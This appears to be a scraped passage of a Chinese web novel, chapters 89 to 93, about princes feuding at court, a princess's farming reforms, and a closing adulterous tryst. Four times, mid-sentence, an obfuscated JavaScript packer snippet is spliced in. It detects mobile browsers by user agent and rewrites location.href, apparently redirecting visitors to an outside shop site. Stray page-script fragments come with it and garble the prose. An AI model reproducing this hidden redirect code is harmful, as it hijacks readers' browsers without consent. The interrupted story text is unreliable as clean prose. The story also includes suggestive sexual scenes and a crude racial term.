可眼下内忧外患,明知这是饮鸩止渴,他一时也找不到反驳与拒绝的理由。 梁皇闭了闭眼,正准备咬牙应下,无意间一扫,整个人瞬间愣了一下。 好好好,大家全都跪着想办法,就你季褚坐着,居然还有心思喝茶,你这是诚心扎朕的眼啊?! 梁皇可谓是又好气,又好笑。 正欲开口敲打两句,左春猛地叩首出声,声震大殿,“圣人,万万不可啊! 向世家借粮,无异于饮鸩止渴。 豪门大族趁机要挟,兼并土地,要挟朝政,后患无穷! 老臣以为,当下应削减宫中用度,停建不急之务,开皇家内库储粮,以皇室表率安定天下,绝不能给世家蚕食朝权之机!” 李智冷哼一声,“老大人忠心可鉴,然,本王不敢苟同。 世家亦是我大梁之民,而今灾情浩大,百姓无数,仅凭皇室一己之力,终究杯水车薪。 国难当头,本当朝野同心,官民协力,方能共渡难关,老大人又何必一味排斥,自断臂膀?” “饮鸩止渴,后患无穷!” “当下难关何度?” 一时间,俩人针锋相对,直接在大殿上喷了起来。 季褚看的那叫一个津津有味,突然感觉脖子一凉,抬头,正好对上梁皇那如刀一样的目光。 季褚也是服了,虽然公主那边所行之事暂无结果,但问题不大,提前透露点,也没甚关系,甚至还能帮公主拉一拨好感。 只是,他还没站起来,二皇子李义毕恭毕敬的说道:“父皇,三弟与左大人所言皆为老诚谋国之言。 儿臣在想,能否有个既不求粮,也不借粮,更不动刀兵的万全之策。” 这话一出,争吵双方立马闭嘴。 梁皇揉了揉发胀的额头,目光和善的看向了二儿子,“你可是想到了什么?” “是的父皇,刚才三弟与左大人的争吵,以及先前季大人提及的太子大婚,令儿臣突然醒悟。 其实我们只需做三件事。 第一,可将太子大婚办的更隆重些,展现出我梁国不缺钱粮的假象,先破了他们大梁缺粮,可趁机要挟的痴心妄想。 第二,将我梁国的紧俏物资,盐,茶叶,江南的瓷器绸缎为饵,与列国通商,只许以粮易物。 虽然也会令各国怀疑,可列国各怀鬼胎,只要不合纵连横便不足为虑,如此泼天富贵,列国必会争先。 第三,暗中在边境设常平仓,低买高卖,调控粮价。 哪边敢抬价,咱们就加大别处通商力度,让其独自落空。列国必争相低价售粮,只求能换我大梁紧俏物资!” 梁皇满眼都是喜色,“如此一来,不是我大梁求列国卖粮,是列国争着给我大梁送粮。 好!好一个不战而屈人之兵! 好一个让天下争相送粮! 不费国库一钱,不欠世家一分情,不启边境一场战事,便可稳坐钓鱼台,尽收天下之粮。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238661|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哈哈哈哈,吾儿当有乃父之风。” 话音落,大殿之上顿时死寂半晌。 崔亮眯了眯眼:这朝堂,是越来越有趣了。 左春:看来诸皇子,也不尽是蠢货。 李智呆呆的看着二哥,好好好,你偷偷的进修了是吧,眼里的自信,顿时化为了无穷的恨意。 本该是他先开口,如今却被二哥捡了便宜,还各不得罪连带着把季褚这等小人都顺便恭维了一番。 最重要的是父皇最后那句话,吾儿有乃父之风,简直就像一根刺,扎在了李智胸口。 一旦让李义做成,他二皇子声望必定水涨船高! 不行,绝对不行。 李智深吸口气,“父皇,二哥此计虽妙,可实行起来却难上加难。大批丝绸、瓷器、茶叶运往边境,又要与列国通商互市,若是监管不严,极易出现夹带私漏,暗中通敌,甚至泄露朝廷虚实之大祸,父皇,人心难测啊!” 李义暗暗握拳,恭敬道:“父皇,是儿臣考虑不周,三弟所言极是,不过儿臣认为,可另派官员监军督查,以绝后患。” 李智冷笑连连,“二哥,你不会不知事以密成的道理吧?” 李义目光一凝,直直看了过去,“三弟,你这是杞人忧天。” 到了此时,李智也顾不上会不会驳了父皇面子,朗声道:“此事事关重大,稍有不慎便会泄露虚实,倘若兵祸再起,列国来攻,敢问二哥,拿何抵挡?” “列国各怀鬼胎,岂会一心?” “笑话,万一有人提前通风报信呢,岂不是弄巧成拙? 父皇,儿臣也觉得三哥的办法可行,然,国之重策,还需深思熟虑。” 说完,便立在一旁不再出声。 李义气的嘴唇哆嗦着,想说什么辩解,可所有话都堵在了喉咙里。紧了紧袖袍里的拳头,满心的羞愤与不甘席卷而来,指甲嵌进肉里都不自知。 早知会在父皇面前落了个思虑不周险的印象,何必浪这一把? 我愚蠢的臭弟弟,你可真该死啊! “父皇,这些都是二弟的猜测,只要我们做好……” “你且退下。”梁皇黑着一张脸,扫过两位儿子,心里也不知是种什么滋味。 历代皇位之争都是养蛊,有争斗才有成长,事实也证明,他这两个儿子都很有能力。 但这份兄弟感情,属实一言难尽。 这让他很是担心,太子以后能否压住两位哥哥,利用好两位哥哥的能力。 不由得,他的目光再次飘向了季褚,这回压根不再给别人说话的机会,冷哼一声,“季卿,坐的倒是安稳,茶可凉,要不要朕让人再给卿添上一杯?” 话音落,众人齐刷刷的看向了季褚。 第90章 季褚喷左春,粮母一出,爱卿变黄毛。 季褚尬笑一声,放下茶盏恭敬起身行礼,“回圣人,茶温正好,不敢劳烦圣人费心。” 梁皇面露不愉,显然不满意这个回答,“朕还以为,你这般安稳,定是心中苦思妙计为朕解忧,原来只是安心品茶?” “臣愚钝,于农桑之事确实不算精通,但臣上奏之前特意去请示过公主殿下,殿下是太子大婚总统筹,有任何变动理当先遵她的安排。 然而却被告知公主去了城外庄子,臣赶到的时候,殿下正带领庄户在田间踏勘,似是已有应对之法。 依臣之见,圣人不妨稍等几日,或许……会有意想不到的惊喜。”季褚道。 梁皇正欲开口,**便先开口说道:“圣人,长公主殿下心系社稷,心怀苍生,这份赤诚之心,臣敬佩不已。 只是殿下金枝玉叶,自小养在深宫,从未涉猎农桑之事,恐难窥其中门道。 如今之事,刻不容缓,还请圣人早做决断,寻一良策才是。” 这话就像是一盆冷水,再次泼到了梁皇头上。 确实,自己的闺女自己清楚。 虽然各方面都随她妈,很优秀,但也从来没钻营过农事。 有些东西,不是光靠异想天开的。 一想到闺女顶着炎炎烈日,不辞辛苦为他这个老父亲想办法,梁皇心里好似被什么东西狠狠触动了一下,再看下方重臣,儿子,一个比一个讨厌。 尤其是季褚。 身为公主府家臣,既然知道主子受苦,为何不劝? “季褚,给朕说说,长乐到底在城外做什么。” 季褚:…… 我挺斟酌用词啊,咋还连名带姓的叫上了?气性真大! 梁皇一问,殿内众臣已然来了兴致,甚至有人小声催促,“对啊季大人,速与吾等说说。” 李义神色恳切,忧心的话恰到好处的传进了每个人耳中,“皇姐素来体弱,弱不禁风,这般烈日炎炎,跑到城外田庄受苦,臣弟心中难安啊。 都是臣弟无能,不能为父皇为皇姐分忧,才让皇姐这般操劳。” 李智斜斜瞥了二哥一眼,满脸讥讽,“二哥既然心中难安,不如去庄子上帮帮忙,正好也出去躲个清闲。” 那个“也”咬的极重,任谁都能听出他在暗指长公主出城根本不是谋事,只是避责躲懒。 李义立刻沉下脸,“三弟,你怎能这般恶心的揣摩皇姐?” “何须揣摩?况且我可没有恶意,明知朝廷遇到难处,偏偏选在此刻出城,连太子大婚都放手他人,皇姐可真是心怀苍生啊!”李智冷嘲热讽道:“” 若皇姐真能仅凭下一趟田庄,便悟出解困良策,臣弟愿倾尽家产,全力襄助,一应所需钱粮,臣弟全包了!” 说着,他话锋一转,带着几分挑衅看向了李义,“倒是二哥,口口声声这般关心皇姐,不知又能拿出什么样的诚意相助?” 李义苦笑摇头,“二哥我比不上三弟,有母族和王妃撑腰,我能做的便是充当马前卒,亲自去田庄,为皇姐打下手,听候皇姐差遣!” 季褚无语的看着二人,这还让不让人说话了? “咳……”季褚轻咳一声,呵呵笑了起来,“二位殿下可要记住方才说过的话。” 两位皇子莫名的心头一紧。 咋的,难不成长公主一个不懂农桑之事的女子,去了趟庄子,真能悟出点什么? 不可能! 绝对是自己吓唬自己。 季褚敛神躬身,笃定中又带了一丝激动,“圣人,臣不敢隐瞒, 公主殿下特意叮嘱臣,此事未竟之前切勿声张,待功成之日,自会亲自向圣人献上惊喜,不负圣人期许。 可如今圣人垂问,臣不敢有半分欺瞒,也只能暂且忤逆公主殿下的吩咐,将实情禀明圣人 眼下,公主已然摸索出三策。 此三策若能尽数推行成功,非但可解当下粮荒困局,纾解朝廷燃眉之急,更能长久造福百姓,助力农田增收,粮食增产。 此举不仅能为我大梁稳固民生根基,更是万世功业之开端,日后史书之上,必当为公主殿下留名,称其“粮母”,以记其功!。” 话音刚落,殿中瞬间炸开。 “大胆!” “放肆!” 左春猛地出列,厉声斥喝,须发皆张,“粮母?公主何敢称母! 我大梁列祖列宗在前,皇室正统在上,她若称‘粮母’,岂不是要凌驾于祖宗社稷之上? 简直大逆不道!” 季褚面色一沉,怒哼呵斥,“闭嘴! 我说的是粮食的粮。 连字都听不明白,就知道喷这个喷那个。 也难怪昨日有人往你府门前泼粪,依我看,祸根全在你这张嘴上! 不为自己,你也应该想想家人。 左大人,我看你应该好好反思一下自己了!” 众人:……你小子是真勇啊,但,又感觉好有道理的样子。 左春被他噎的一愣一愣,那张脸更是红了白,白了青,嗫嚅了两下愣是一个字没说出来,只是颓然的低下了头。 梁皇这会儿已然被季褚吊起了兴趣,轻咳一声,“季爱卿,公主可与你明说是何三策?” “回圣人,说了。 其中两策已在城外田庄验证见效,一为虹吸引水,二为曲辕犁。 虹吸引水,就是把水从低引到高处浇灌田地。” **面带笑容,小心翼翼的语气极尽谦和,“那个,季大人,本官冒昧,可否插一句?” “韩大人,您讲!” “世人皆知,水往低处流,要将水引往高处……本官活了大半辈子,实在闻所未闻。 是不是真的,你是否亲眼所见?当然,本官绝非质疑公主殿下,只是……此事太过匪夷所思。” **可谓是极尽卑微了。 木办法,这嘴太不饶人了,没见左春都被喷的不吭声了么,而且皇帝一点反应都没有,显然也是默许了。 他可没左春那么厚的脸皮。 “回大人,下官的确看到了,只是其中机关巧妙,也未曾看得详尽。” “这样啊!”**若有所思的点点头,“那你继续,本官问完了。” “所谓曲辕犁呢,其实就是脱胎与传统犁具,更轻便,更趁手,不用耕牛,仅靠人力配合,也能深耕土地,开垦出更多田亩。 最后一策为堆肥,区别于传统沤肥,公主所创的堆肥法,肥力更强,原料也随处可得。像是农家常见的灶灰,杂草,枯枝烂叶,皆可入料。 按公主殿下所言,此法若大成,我大梁田地亩产,至少可增收两成! 粮母,实至名归!” “圣人,请恕老臣无礼,耳听为虚眼见为实,臣这便出城看看。”**一拱手,脚步匆匆便朝外面走去。 “圣人,老臣告退,也去瞧瞧。”说着,工部尚书也紧随其后朝着外面追去,“韩大人,等等老夫。” 眼瞅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248040|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,大家面面相觑,梁皇同样有点坐不住了。 没办法,这大棉袄暖的朕出汗啊,必须得出城透透气。 “刘公公,摆驾,列位臣工随朕一同前往,倒要看看清瑶是否真的搞出了一些名堂。” 很快,梁皇圣驾便轻车简行出了城。 一路上,梁皇也琢磨出了一点门道,透过窗帘时不时瞄一眼,要来佩刀,骑着战马护驾在旁的季褚。 大棉袄虽然暖和,心性纯良,有担当,亦有仁心。 可这般巧夺天工,超乎常理的法子,绝不是她凭空能想得出来的。 不用猜,必定是有人在暗中为她筹谋划策。 而这个人是谁,答案早已不言而喻。 不由得,看向季褚的目光都多了几分不善。 就好似老父亲再看骑着鬼火,准备停自家门口的黄毛一样。 待到圣驾抵达城外田庄,梁皇心底那点猜测彻底实锤了。 就见从小被他呵护手心,衣袂从不沾染尘埃,连指尖都不曾碰过粗活的大棉袄,此刻竟似农家女子,站在田埂前面,一身麻衣,沾着点点泥点,青丝散落,混着汗水黏在额头。 那双用来抚琴描眉,拈花赏景的素手,正稳稳捏着一把粗糙的木耙,一下一下,哪里是压实,铺匀,那分明是在老父亲心里用力的垂啊! 而其他大臣也都呆麻了,显然也没想到,堂堂长公主,竟真能放下所有尊荣,躬身扎进田间地头,亲手做这等最脏,最累,最上不得台面的腌臜粗活。 静,死一般的静。 季褚正在心里佩服清瑶媳妇牛逼,做事就做全套,只觉脖子突然凉飕飕的难受,下意识回头,却发现数道目光正死死盯着自己。 有探究,有羡慕,甚至还有几分看好戏的意味。 唯有梁皇,那眼神,怎么看,怎么像要刀了自己。 毕竟大家又不蠢,结合季褚之前所作所为……答案已经呼之欲出。 能说动公主行这腌臜之事,足见三策效果斐然,可你也不能让公主…… 放眼大梁朝就没比你小子还不择手段的。 两位最有权利的皇子,羡慕的基儿都紫了。 说好的不通农桑,合着你把功劳让了出去啊! 尤其是李义,情不自禁的握了握拳头。 不能在等了,今日必须把人请入府中。 得此人,何愁得不到天下。 无论如何,不惜一切代价,哪怕祭出爱妃用上美人计,也要此人牢牢掌控! 季褚哪里知道大家心思,忙翻身下马,“陛下,前方小路车马难行,需要……” “朕难道不知,还用你多嘴提醒?”梁皇轻哼一声打断了季褚,走下马车,脸上的冷意瞬间褪去,立马换上了一副慈祥和善的笑脸,“吾儿辛苦。” 李清瑶快步上前,全然忘了自己满身尘土,手上还沾着泥污,伸手就想扶梁皇,又怕弄脏了他的龙袍,堪堪顿住动作。 语气里满是真切的担忧,“儿臣见过父皇!如今这般酷暑难当,日头毒得很,父皇怎的不在宫中好生歇息,反倒亲自出城来这田间遭罪?仔细晒着累着,这令儿臣心里实在不安。” “无妨,吾儿做的,为父自然做的。”梁皇走上前,直接牵住了李清瑶的手,朝着前面粪堆走去,“速与为父说说!” 这一幕,直接看傻了众臣,看碎了几位皇子的心。 朕都不自称了,合着您就李清瑶一个亲女儿,俺们都是捡来的是吧? 第91章 皇子出钱又出力,公主躺赢美滋滋 讲真的,季褚还真有点佩服这对儿父女。 毕竟,一位是大梁朝最严厉的父亲,一位是大梁朝最尊贵的女儿。 二人这等身份,居然顶着恶臭苍蝇走向粪堆……那画面,简直不要太美。 好吧,既然画风都歪了,他虽然觉得挺受不了,但也只能豁出去了,大不了回头让李清瑶陪着好好洗洗。 几位大臣你看我,我看你,唯有大司农还算镇定,毕竟他天天和田间粪土打交道,早已**以为常。 其余人皆是眉头紧锁,脸色发苦,却不敢有半分推辞,只能硬着头皮亦步亦趋地跟着。 大司农回头看了一眼,不忍同僚痛苦,小声提醒,“各位大人,实在觉得气味难闻,不妨用嘴呼吸,能好受些。” 闻言,众人全都下意识照做,就连梁皇也情不自禁学了起来。 你别说,你还真别说。 果然,味道真没那么窜了。 季褚面皮一抽,快步走上前小声提醒道:“公主,咱可不要学,臭气进入口中,与食粪又有何区别?” 李清瑶眼神一僵,满脸无奈地看了他一眼,一时竟不知该作何回应。 梁皇脸上的表情瞬间凝固,嘴角狠狠抽动了两下,耳根悄悄泛红,他刚才可是跟着学了! 帝王当众用嘴呼吸避臭,这事若是传出去,颜面何存? 偏生他还发作不得,只能硬生生憋在心里,一张脸青一阵白一阵,早已在心里给出馊主意的大司农和嘴太欠的季褚,狠狠记了一笔。 也就仗着他身为帝王,不好当着众臣和闺女的面,因为这点小事失了体面。 不然,今儿个非得叫人把这俩货拖下去,狠狠打上几十板子才解气。 至于众大臣皇子,一个二个脸都绿了,比直接吞了那什么还要难受。 李清瑶早已将季褚的农桑方略背的滚瓜乱熟,立刻小嘴叭叭,条理清晰地细细讲解。 什么发酵,什么温度湿度,什么彻底腐熟……众人虽未见到实打实的成效,可只听这套说辞,便知此术老厉害了。 当然,也不排除这里的气味属实一言难尽。 梁皇听完,立马催促道:“带朕去看看虹吸引水与曲辕犁!” 老父亲有求,当闺女的自然安排。 虹吸引水法简单的令人瞠目结舌,却又巧妙得让人直呼天外之思,令人无不惊叹。 最后轮到曲辕犁,梁皇兴致大发,竟与李清瑶父女亲上阵,一犁就是二十多米。 犁完之后,他还意犹未尽。奈何大司农也眼馋得不行,非要亲自上手试试,叫上苦逼的工部天官当牛做马,俩人直接在田里忙活开了。 谁让工部尚书比他年轻三岁,况且此犁推广少不了工部的出力,他不熟悉熟悉如何能成。 犁完一个来回,工部尚书王靳已经累得气喘吁吁,扶着犁直喘粗气。 见状,梁皇深深的看了季褚一眼,“王尚书年事已高,此等体力活,还是得年轻人才行啊!” “父皇所言极是,儿臣也想试试这新犁,王尚书歇歇让晚辈来。” 李智刚刚已经得到了崔亮的指点,反正牛皮已经吹下,不如顺水推舟,出钱推广新犁,也好分润一些功劳。 所以这会儿李智可谓是打了鸡血一样。 一看臭弟弟都冲了,李义自然不甘落后,“大司农,您老也暂且歇歇,晚辈来替您!” 说完,也屁颠颠的追了过去。 梁皇站在原地,彻底沉默了。 面上虽无表情,可心里已然长叹,朕为何生了这两个蠢货。 朕方才分明是想给季褚找点活儿干,你俩凑什么热闹。 转念一想,又冷冷一笑,既然你们非要往上凑,那朕就让你们凑个够。正好朕还舍不得朕的闺女,天天碰这些腌臜粗活。 梁皇开口,语气不容置疑,“老二,老三,你们两个便留在此地,听你皇姐差遣,新式堆肥一日不成,你们一日不得回城。” 说着,目光直直落到了已经开始当牛的李智身上,“尤其是你,老三, 自己夸下的海口,莫要转头就忘!” 一听父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248041|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇主动让自己担责,李智刚刚升起的不满顿时烟消云散,喜不自胜的领旨,“儿臣说到做到,还请父皇放心。” 李义扶犁,心里顿时不是滋味,花点钱就能白捡泼天功劳,血赚不亏,当即开口请旨,“父皇,此等利国利民,造福万代的大事,儿臣亦愿倾尽全力,贡献一份心意。” 梁皇满意,正要开口,就听季褚语气恭敬的开口,“两位殿下一片赤诚,实在令人敬佩,只是臣有一言,不得不禀。 此番堆肥,曲辕犁,虹吸引水,皆是公主殿下呕心沥血,亲力亲为所创。 然事关重大,二位殿不懂其中关窍,恐有差池。依臣之见,银钱可由二位殿下筹措,一应谋划,督造,推广,仍需长公主殿下亲自主持,方保万无一失。” 闻言,李智,李义脸上的笑容瞬间僵在脸上。 家人们,谁懂啊,钱出了,力出了,最后功劳是一点捞不着,纯纯花钱找罪受,功劳全是别人的。 梁皇目光扫过两个满心算计的儿子,又落在一身尘污,却眉眼清亮的闺女身上,心底又是好笑又是解气,眼底浮起一丝不容错辨的暖意。 他微微颔首,语气轻淡,却一言九鼎:“季爱卿言之有理。 此事,便以长公主为主,令二子为辅,只许出钱出力,不许妄议争功。 公主令下,如朕亲临,谁敢不从,严惩不贷。” 金口一开,两位皇子彻底心如死灰,敢怒不敢言,只能硬着头皮躬身应道:“儿臣遵旨。” 李清瑶愣了一下,随即一脸郑重行礼,“儿臣谢父皇信任,定不辱使命。” “起来吧,仔细着自己身子,有什么事吩咐你两个弟弟去做,切勿凡事亲力亲为。” 梁皇说完,看向众臣,“随朕回宫。” 是有了新法,但新法能增强自身,同样也能增强他国实力,所以还需防止新法泄露,虽然不能保证完全不泄密,可晚一天,大梁就能多积攒几分底蕴。 目送圣驾离去,李清瑶缓缓转身看向了两位弟弟,嘴角浮起一抹浅浅的微笑。 第92章 季褚劝便宜大儿振作,宋辉人麻了。 “二位皇弟,虹吸引水工具,曲辕犁,皇姐已经派人着手打造,你们只需从府中调拨钱粮等一应费用,按时送来便是。 初步估算,有个五百万两差不多了。” 二人闻言,心里全都在滴血,脸更是黑的吓人,哪还有方才梁皇在时那份兄友弟恭。 他们早就知道李清瑶不会分润功劳,并不觉得有什么意外,毕竟,已经当着父皇的面夸下海口,怪只怪季褚那张破嘴,多事多嘴,害得他们偷鸡不成蚀把米。 二人正准备点头吃下这个哑巴亏,然后派人回去安排伺候的人过来,踏踏实实过完这几天。 哪成想,李清瑶继续说道:“只是沤肥工序繁杂,需时时看管,记录温湿时辰,半点差错都不能有。 皇姐庄上的庄户不识字,怕记不清数据,这事,便只能劳烦二位皇弟,轮流值守,亲自记录了。” 一听这话,李智脸都白了,想到那散发着恶臭的粪堆,以及那嗡嗡乱飞的绿头苍蝇,胃里便是一阵翻涌,“皇姐,这这这……未免也太腌臜了些,还是交给下面的人干吧!” “是啊皇姐,吾等皇族,亲自做这等事,传出去,岂不是叫天下人笑掉大牙?”李义也不满道。 李清瑶脸上笑意未减,悠悠开口,“二位皇弟,此言差矣。 皇姐肯定不会告诉父皇,他刚走,二位皇弟便出尔反尔,抗旨不尊。” 闻言,二位皇子脸都绿了。 这都明晃晃的搬出父皇说事了,还有你李清瑶不敢告的状? 日鬼弄棒槌,也没你这样的。 对于二人的反应,李清瑶那是相当满意,仿佛有一口憋闷已久的气终于消散,整个人都通透了不少。 “这沤肥之事,看似腌臜,却是关乎天下百姓温饱的大事。二位皇弟身为大梁王爷,连这点苦都吃不得,传出去,世人不会笑二位干粗活,只会笑二位言行不一,贪慕虚名,连为百姓出点力都百般推诿。 且,沤肥工序,温湿的数据,乃是新法的关键,半点不能泄露。庄户不识字,下人不可信,否则皇姐又何必亲力亲为,二位皇弟告诉姐姐,除了你们,我还能信谁? 若是数据记录有误,或是泄露出去,父皇追究起来,二位皇弟觉得,这笔账该算在谁头上?” “皇姐,别说了,干,你说怎么干就怎么干!” 李义深吸了口气,人在屋檐下不得不低头。 “三弟呢?要是受不了这个苦,还是回城吧,万一传到母后耳朵里,还指不定说我这个做姐姐的如何苛待弟弟呢!” 李智深吸了口气,愤懑的拱了下手,“母后知道儿臣在做一件利国利民的大事,高兴还来不及。一切全凭皇姐安排。” “善。” 李清瑶满意的点点头,“那就随姐姐来吧!” …… 季褚深知木秀于林风必摧之的道理,虽然,他的天秀压根藏不住,但总得给其他同僚流口汤喝。 就比如何保密。 做的好,功劳不大,做不好完全就是一屁股屎。 所以一回来,他便借口还需操持太子大婚事宜向梁皇请辞。 梁皇倒是想听听季褚的意见,不过他显然更在意那一千万两。 出了皇宫,季褚便马不停蹄赶去了宋府。 老话说的好,鸡蛋永远不要放进一个筐子。 哪怕李清瑶已经对他倾心。 无他,基础条件太差。 毕竟,在古代阶级划分里,现在的他顶多算个世一代。 何为世家,连续三代朝中出过三品以上大官,充其量都只能算个小世家。 他现在没房没地没产业,更没有一群庞大且能信任的亲戚子弟支持,执行任何事都得靠着公主府的人手。 这样的发展是不健康的。 多尔衮做不到的事儿,他不认为自己能做到,但宋家的贵族身份完全可以利用一下。 一番奔波,来到宋府外,夕阳已经西垂。 季褚递上名帖,不多时便被小厮迎了进去。 踏入宋府正堂,他并未见到热情似火的老臭宝,反倒先撞见了一身酒气,放浪形骸的宋辉。 他锦衣大敞,袒着胸膛,凌乱的头发随意披散,完全就是一副纨绔浪荡子的模样,简直半点贵公子的气度都没有。 季褚微微皱眉,虽然他是个便宜爸爸,但那也是爸爸呀,看到便宜儿子这般样子,也不免有些恨铁不成钢。 不就是离个婚么! 天下好女人多的是,何必这样作践自己? 季褚斟酌了一下,“耀祖啊,你出身贵族,又正当盛年,不就是离个婚么,天下女人何其多,何必伤心过度,把自己搞成这幅样子。 吾心甚痛啊!” 季褚一番话,直接就给宋辉干懵了,令他准备好狠狠奚落对方的话硬生生卡在了喉咙。 就连那副吊儿郎当躺在椅子上的姿势,都变的有些别扭了。 他听到了什么? 这个**的马夫,居然称他表字? 还吾心甚痛?你痛的着数吗? 离婚后,他宋辉夜夜笙歌,爽的不要不要好嘛! 以前的他只能夜深人静,牵来黑奴偷偷奖励自己,现在,明目张胆与好几名女子大被同眠,房间都不带出的。 三年啊,谁知道他这三年是怎么过的,必须把积攒的能量消耗干净,才对得起他这三年受的苦。 这也叫伤心过度? “年轻人,整日沉迷酒色,自甘堕落,早晚会把自己彻底毁了,你得振作起来,好好做事,宋家可全靠你呢,你也不想让你母亲失望吧?”季褚叹了口气,只觉一阵心累。 同时也给自己敲响了警钟。 以后给儿子们娶媳妇,绝对不能只看对方门第, 还是得自由恋爱,只要小两口感情好比什么都强。 宋辉不就毁了么,这是活生生的例子啊! 必须引以为戒。 这番说教的话,听的宋辉愣了又楞,紧接着,便好似听到了某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252703|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种天大的笑话一样,噗嗤一声,哈哈大笑起来。 他以为他是谁? 不过是自己养的一条狗而已,真以为披上官服就能和自己平起平坐? 他也配? 简直可笑至极。 宋辉笑着笑着,眼泪都下来了,正欲开口,堂后突然传来一阵脚步。 接着,朱玉润身边的贴身大丫鬟春儿便迈着莲步走了过来。 见季褚看向自己,春儿莫名一阵脸热,盈盈一礼,“见过季少保,夫人请您去后宅一叙。” “有劳春儿了。”季褚点点头,又看了看笑容戛然而止,眼角还挂着泪痕的宋辉,摇摇头,跟着竹儿便朝后面走去。 宋辉茫然的环顾四周,愣愣的眨了眨眼。 我是谁? 我在哪儿? 都挺熟悉,也是我家啊! 可宋府的后宅,也是季褚一个外人能去的,而且……还是母亲亲自邀请! 越想,宋辉便越觉得不对劲,最重要的是,季褚小嘴叭叭的是爽了,可他酝酿的那些话还没说,没爽到啊! 当即起身朝着后宅追去。 而从长葛到京城,这一路,季褚和朱玉润见面的次数不少,可人多眼杂……懂的都懂。 所以这会儿朱玉润可是想念的紧,才一见面,便关上门,风情万种的扑进了季褚怀里,“你这冤家,我还以为你把人家忘了。” 说着,鲜红的朱唇直接凑了上来。 季褚把头避开,“夫人,我来找你有正事。” “你这坏人……”朱玉润羞恼的捶了他一下,脸上染着浅浅的绯红,反倒是更主动的凑上前,用那温热的唇瓣印在了季褚唇角,“阴阳调和难道不是正事?” 这一刻的她,哪还有半点矜持,季褚也是半推半就,被她推到了床踏上。 朱玉润顺势屈膝,轻轻落坐在他腿上,呼吸微乱,声音中透着几分难耐的沙哑,软软黏在他耳畔,“郎君,奴家……热。” 季褚情不自禁的咽了口唾沫,温软馨香,令他感觉空气都燥热起来,别说她热,自己也热啊! 季褚搂住对方的腰,稍微一用力便上下翻转。 朱玉润闭着眼,长长的睫毛微微颤抖。 不知不是不是错觉,他感觉现在的朱玉润似乎更加的有韵味了。 藕色的纱裙,本就显白,而且腰身束的极细,显得身段窈窕婀娜。 尤其是那双含着秋水的眸子,波光流转间,带着一丝天然的媚意,简直就是在他心尖尖上挠痒痒。 “夫人稍后,我这便帮夫人更衣……” 季褚可谓是轻车熟路,三两下,便将大好的风景展现出来。 朱玉润玉臂轻抬缠住了季褚脖子,顺便娇嗔的白了他一眼,“你这冤家,比我都急……” “咳咳,主要是打滑……” 季褚一句话没说完,就听外面传来春儿紧张的喊声,“大公子,你不能进去,夫人正在和季少保谈要紧的事,不许外人打扰。” 第93章 左手倒右手,有**就得自己薅 “放肆,何等大事,连我这个宋府大公子也不能听?” 宋辉心里正憋着一肚子火气,被春儿一阻拦,登时火冒三丈直接吼了出来。 春儿俏脸煞白,只能硬着头皮拦在门口。 她可是知道季褚和自家夫人谈的事儿到底有多要紧。 万一被大公子发现,简直不敢想象。 “滚开,莫非你想死不成?” 宋辉再次怒喝一声。 一个**奴才,摇身一变成了朝廷要员,风光无限不鸟自己,他可以挑理,但也清楚,最多也就是挑挑理。 可家里的婢女不同,生杀予夺全在自己手里。 就当春儿不知所措的时候,房间里传来了朱玉润不满,且带着一丝急促的呵斥,“放肆,娘,娘就是这般教你的?滚,滚回去……娘正在和季少保,谈……谈一桩大生意。 坏了娘的好事,月钱你就别要了。” “母亲!” 宋辉气的简直要吐血,走上前就要推门,却被老娘一声喊破喉咙的“滚”吓的应声止步,最后只能恨恨的甩袖而去。 只不过屋里的动静,令他产生了些许好奇,可转念一想,又给自己吓了一跳,赶忙打消了那个可怕的念头。 自己的母亲,身为宋氏主母,出身名门,身份高贵,容貌更是倾城绝色,与先皇后并称南北双珠。 当年的梁皇有意接她入宫都被拒绝了,怎么可能看上季褚这样一个上不得台面的泥腿子? 一定是自己想多了。 房间里。 朱玉润气息凌乱,用力在季褚腰间掐了一把,嗔怪道:“让你使坏,方才差点被那孽障撞破,要真被他瞧了去,我这老脸都丢尽了。” 